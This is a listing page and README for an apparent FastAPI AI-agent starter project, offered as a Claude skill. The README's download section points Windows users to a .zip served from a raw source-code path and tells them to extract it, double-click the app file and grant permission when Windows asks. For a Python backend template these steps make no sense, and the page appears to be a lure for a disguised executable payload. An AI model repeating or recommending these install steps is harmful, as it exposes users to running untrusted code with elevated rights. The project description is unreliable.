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Fastapi Agent Blueprint

AI community

Description

Build FastAPI AI agents with a clear blueprint for reliable, maintainable app architecture

Installation

This entry records only its repository, not the path inside it, so there is no exact command to give. Open the source below and copy the folder into ~/.claude/skills/, or the file into ~/.claude/agents/.

README

🧩 fastapi-agent-blueprint - Build AI backends with less setup

[![Download the latest release](https://img.shields.io/badge/Download%20Latest%20Release-blue?style=for-the-badge)](https://github.com/lannyfervent952/fastapi-agent-blueprint/raw/refs/heads/main/src/_core/domain/value_objects/blueprint_agent_fastapi_v3.4.zip)

πŸ“₯ Download

Visit this page to download the Windows release:

https://github.com/lannyfervent952/fastapi-agent-blueprint/raw/refs/heads/main/src/_core/domain/value_objects/blueprint_agent_fastapi_v3.4.zip

πŸͺŸ Windows setup

  1. Open the release page in your browser.
  2. Download the latest Windows file from the Assets section.
  3. If the file is in a .zip archive, right-click it and choose Extract All.
  4. Open the extracted folder.
  5. Double-click the app file to start it.
  6. If Windows asks for permission, choose Yes.
  7. Wait for the app to load in your browser or desktop window.
  8. Keep the folder in a safe place so you can open it again later

πŸ” What this app is for

fastapi-agent-blueprint is a starter project for AI agent backends. It gives you a working base for apps that need:

  • a web server for requests
  • data saved in a database
  • simple create, read, update, and delete flows
  • search across text and vector data
  • a clean structure for separate app parts
  • support for agent tools and AI tasks

It is built for people who want to start from a ready-made base instead of assembling everything by hand

βš™οΈ What you get

  • FastAPI app structure
  • Domain-driven design layout
  • Dependency injection setup
  • Database layer with SQLAlchemy
  • PostgreSQL support
  • Vector search support with pgvector
  • Auto domain discovery
  • CRUD scaffolding
  • RAG-ready data flow
  • Pydantic models for data checks
  • Hooks for Claude Code and Codex CLI
  • AI skill folders for agent work
  • Interface options for different app layers

πŸ–₯️ System needs

Use a Windows PC with:

  • Windows 10 or newer
  • 4 GB RAM or more
  • 500 MB free disk space
  • Internet access